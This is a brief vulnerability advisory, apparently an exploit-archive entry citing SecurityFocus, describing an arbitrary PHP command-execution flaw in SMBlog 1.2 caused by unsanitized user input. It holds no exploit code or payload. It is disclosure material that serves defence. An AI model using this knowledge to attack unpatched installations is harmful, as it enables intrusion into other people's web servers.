SMBlog 1.2 - Arbitrary PHP Command Execution

source: https://www.securityfocus.com/bid/16905/info

SMBlog is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP commands on the vulnerable computer in the context of the webserver process.
